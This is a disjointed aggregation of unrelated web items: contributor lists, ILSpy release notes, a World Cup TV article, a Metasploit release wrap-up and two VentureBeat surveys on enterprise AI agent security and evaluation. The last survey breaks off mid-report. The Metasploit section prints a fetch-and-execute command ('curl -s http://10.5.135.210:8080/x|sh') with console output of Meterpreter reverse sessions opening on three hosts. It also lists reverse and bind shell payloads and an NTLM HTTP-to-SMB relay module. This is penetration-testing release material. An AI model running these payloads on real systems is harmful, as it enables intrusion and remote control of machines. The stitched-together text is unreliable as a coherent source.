@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

Read more →

The post Critical wp2shell RCE Vulnerability – Complete Coverage Including PoC and Active Exploitation Details appeared first on IT Security News.

The post Apple Sports app expands soccer coverage with new European and Asian leagues appeared first on MacDailyNews.

The post Critical wp2shell RCE Vulnerability – Complete Coverage Including PoC and Active Exploitation Details appeared first on Cyber Security News.

Warning

We DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.

Note for Mac users: see https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact because the ILSpy.app is neither signed nor notarized.

Avalonia Cross Platform Port

• PR #3755: Avalonia 12 Port and Removal of the WPF UI
• PR #3759: Metadata explorer cleanup, flags-filter fixes, and WPF row-details parity
• PR #3766: Round-trip the legacy WPF SessionSettings shape
• PR #3768: Build, test, and package ILSpy on Linux and macOS in CI
• PR #3861: Show text-based resources inline with syntax highlighting
• PR #3875: Avalonia 12.1
• PR #3876: Keep BAML decompilation working when WPF assemblies are missing

New Features

• PR #3847: Unpack !AvaloniaResources into per-file resource tree nodes
• PR #3801: Fix #3797: resolve ilspycmd -t type names with fuzzy matching
• PR #3789: Add a bookmarks feature for the decompiled C# view
• PR #3786: Add omnibar breadcrumb and search bar above the decompiled code
• PR #3769: Make the override modifier a link to the overridden member
• PR #3762: Add Open from NuGet feed dialog for browsing and opening packages

User Interface

• PR #3857: Fix #2078: Generic local functions not highlighted properly
• PR #3855: Fix #3845: Add option to expand XML documentation comments
• PR #3814: Toggle the fold under the right-click, not at the caret
• PR #3812: Syntax-colour analyzer signatures with bold type names (#2164)

Enhancements

• PR #3872: Decompile await on dynamic expressions
• PR #3837: Fix #3804: decompile foreach over inline array
• PR #3791: Fix #3777: decompile runtime async without a separate C# 15 setting
• PR #3843: Bound XamarinCompressedFileLoader against crafted XALZ headers
• PR #3842: Bound WebCilFile section access against mapped-view length
• PR #3841: Harden BAML reader against crafted-resource crashes
• PR #3816: Allow overriding an assembly's target framework for reference resolution
• PR #3840: Bound .rsrc resource-tree parsing against crafted input
• PR #3838: Guard against OOB read when bundle signature is at file start
• PR #3818: Display the IL 'tail.' prefix in C# output
• PR #3808: Migrate the VS extension to an SDK-style VSIX (dotnet build) and retire the VS2017/2019 add-in
• PR #3802: Fix #3799 and three related stackalloc initializer decompilation defects
• PR #3780: Compute public-key tokens with a managed SHA-1

Documentation

• PR #3868: CONTRIBUTING.md for the AI era
• PR #3870: Add decompiler architecture document

Testing / Infrastructure

• PR #3771: Run the decompiler test suite on Linux
• PR #3788: Use cross-platform separators for the FSharp.Core.dll test path
• PR #3807: Adopt SDK default Compile items in Decompiler and Decompiler.Tests
• PR #3815: Verify generated PDBs against the compiler's breakpoint map (PdbGen fixtures previously passed vacuously)
• PR #3836: Don't assert decompiled local types match the signature
• PR #3839: Add fine-grained debug steps with highlighting for C# and ILAst
• PR #3849: Set OpenSSL SHA1 flag in build scripts
• PR #3859: Add test coverage for untested corners of implemented language features
• PR #3874: Upload TestCases folder as artifact when CI tests fail

Contributions

• PR #3851: Fix #3850: recover ReadOnlySpan array literals from the legacy lazy cache — @sailro, thank you!
• PR #3878: Handle negative dictionary capacity in string switch transform — @ds5678, thank you!
• PR #3828: Fix #3826: wrap an overflowing constant subexpression in unchecked() — @sailro, thank you!
• PR #3831: Fix #3825: reconstruct async iterators with [EnumeratorCancellation] and await in finally — @sailro, thank you!
• PR #3830: Fix #3827: keep the while-loop for a ref local used after the loop (avoid an uninitialized hoisted ref decl) — @sailro, thank you!
• PR #3823: Fix #3821: keep ref-struct conditional as if/return, not ?. / ?? (CS8978) — @sailro, thank you!
• PR #3822: Fix #3820: decompile dynamic ~ as ~x instead of an unsupported-opcode error — @sailro, thank you!
• PR #3796: Fix decompiler tests project inside VS — @DoctorKrolic, thank you!
• PR #3787: dev: fix editorconfig parsing on some editors — @mochaaP, thank you!
• PR #3879: Fix the "Use nested namespace structure" option — @ds5678, thank you!

Bug Fixes

• PR #3881: Reject negative char index in the length-and-char string switch
• PR #3866: Fix #3475: Emit 'true ? null : new { ... }' for null of anonymous type
• PR #3864: Fix #3860: Avoid 'out var' if the variable recurs in the argument list
• PR #3873: Fix dynamic event-assignment decompilation leaking is-event opcode
• PR #3863: Simplify hoisted null-guard fold to reference-type constructor chains
• PR #3852: Fix #3824: fold a hoisted argument null-guard at the ILAst level
• PR #3832: Fix #3754: omit async stepping info for runtime-async methods
• PR #3806: Fix Export NullReferenceException for images/resourcexsd.baml
• PR #3792: Fix #3774: keep field initializers when decompiling a static ctor alone
• PR #3790: Skip missing session assemblies when navigating on launch
• PR #3776: Escape reserved Windows device names in output file names

For a full list of changes click here.

Soccer fans looking to watch the 2026 World Cup on US television have been presented with two very different options this tournament.

The first is Fox Sports, a cousin of Fox News owned by the same parent company and the sole network airing matches in English in the US. Audiences tuning in to Fox, which acquired the exclusive English broadcast rights in 2015, are met with coverage that reflects the network’s “America first” aesthetic, with promos for pro-Donald Trump talkshows, advertising breaks during games and the frequent, grating presence of host Alexi Lalas.

While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the RSS Feed to be alerted when new blogs are released.

Fetch Multi: Just Fetch and Forget?

Our very own bwatters-r7 continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.

Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target.

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port
   When FETCH_COMMAND is one of CURL,GET,WGET:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.
   When FETCH_FILELESS is none:
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >

RISC architecture is going to change everything!

Speaking of juggling multiple architectures, bcoles added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.

New module content (4)

Microsoft Windows HTTP to SMB Relay

Author: jheysel-r7

Type: Auxiliary

Pull request: #21620 contributed by jheysel-r7

Path: server/relay/http_to_smb

Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.

Byte XORi Encoder

Author: bcoles bcoles@gmail.com

Type: Encoder

Pull request: #21235 contributed by bcoles

Path: riscv32le/byte_xori

Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.

FTP, HTTP, HTTPS and METERPRETER_REVERSE_TCP Fetch, Linux Chmod

Authors: Brendan Watters, Spencer McIntyre, and bcoles bcoles@gmail.com

Type: Payload (Adapter)

Pull request: #21384 contributed by bwatters-r7

Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.

This adapter adds 421 new payloads for all Linux and Windows architectures including:

• cmd/linux/ftp/aarch64/chmod
• cmd/linux/ftp/x86/meterpreter/reverse_tcp
• cmd/windows/ftp/aarch64/meterpreter_reverse_http

FTP Fetch, Linux dup2 Command Shell, Bind TCP Stager

Authors: Brendan Watters, Spencer McIntyre, and bcoles bcoles@gmail.com

Type: Payload (Stager)

Pull request: #21237 contributed by bcoles

Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.

• cmd/linux/ftp/riscv32le/shell/bind_tcp
• cmd/linux/http/riscv32le/shell/bind_tcp
• cmd/linux/https/riscv32le/shell/bind_tcp
• cmd/linux/tftp/riscv32le/shell/bind_tcp
• linux/riscv32le/shell/bind_tcp
• cmd/linux/ftp/riscv32le/shell/reverse_tcp
• cmd/linux/http/riscv32le/shell/reverse_tcp
• cmd/linux/https/riscv32le/shell/reverse_tcp
• cmd/linux/tftp/riscv32le/shell/reverse_tcp
• linux/riscv32le/shell/reverse_tcp
• cmd/linux/ftp/riscv64le/shell/bind_tcp
• cmd/linux/http/riscv64le/shell/bind_tcp
• cmd/linux/https/riscv64le/shell/bind_tcp
• cmd/linux/tftp/riscv64le/shell/bind_tcp
• linux/riscv64le/shell/bind_tcp
• cmd/linux/ftp/riscv64le/shell/reverse_tcp
• cmd/linux/http/riscv64le/shell/reverse_tcp
• cmd/linux/https/riscv64le/shell/reverse_tcp
• cmd/linux/tftp/riscv64le/shell/reverse_tcp
• linux/riscv64le/shell/reverse_tcp

Enhancements and features (4)

• #21235 from bcoles - Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.
• #21384 from bwatters-r7 - Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.
• #21599 from Pushpenderrathore - This extends CertificateTrace functionality to also surface the server's TLS peer certificate when an HTTP module connects over HTTPS. This makes use of the same CertificateTrace enum (off/metadata/full) operators are already familiar with.
• #21602 from zeroSteiner - Updates the Windows service PE template to use an injected segment instead of the old substitution method.

Bugs fixed (4)

• #21621 from eipoverflow - This fix a limitation on running fileless staged Meterpreter in recent OSX versions.
• #21670 from zeroSteiner - Marks the dynamic XOR encoders as unable to preserve registers and adds regression coverage for stage encoding when a preserved register is required.
• #21675 from sjanusz-r7 - Fix search_cache job cache generation by skipping multi arch payloads.
• #21677 from bwatters-r7 - Fixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.143...6.4.144
• Full diff 6.4.143...6.4.144

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.

The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.

What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.

Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.

Finding 1: The incidents are already here

More than half have had an agent security incident or near-miss

We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.

This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.

Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.

Finding 2: The identity gap

Only a third give every agent its own scoped identity

We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.

Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.)

The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.

Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.

Finding 3: Observe and enforce, but rarely isolate

Only three in 10 sandbox their highest-risk agents

We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.

Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.

Finding 4: Security runs on borrowed, provider-native controls

Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register

We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.

Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.

The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.

(A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)

Finding 5: And enterprises are comfortable with it

Satisfaction is high, even as incidents mount and identity lags

We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.

Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.

Finding 6: Budgets haven’t caught up

Most spend under a tenth of the security budget on agents

We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.

Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.

Finding 7: The arms race is even, at best

Only a third think their AI defenses are ahead of AI-enabled attackers

We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.

Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.

Finding 8: A security reshuffle is coming

Nearly six in 10 plan to adopt or switch tooling within a year

We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.

The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle.

Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.

The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. 

What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.

The bottom line: A security gap that autonomy will test first

Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.

The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.

Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.

This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.

The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.

What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability & Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).

At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.

Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.

Finding 1: A passing eval is not a working agent

Half have shipped an agent that passed evals, then failed a customer

We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.

This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.

Finding 2: Almost no one fully trusts automated evaluation
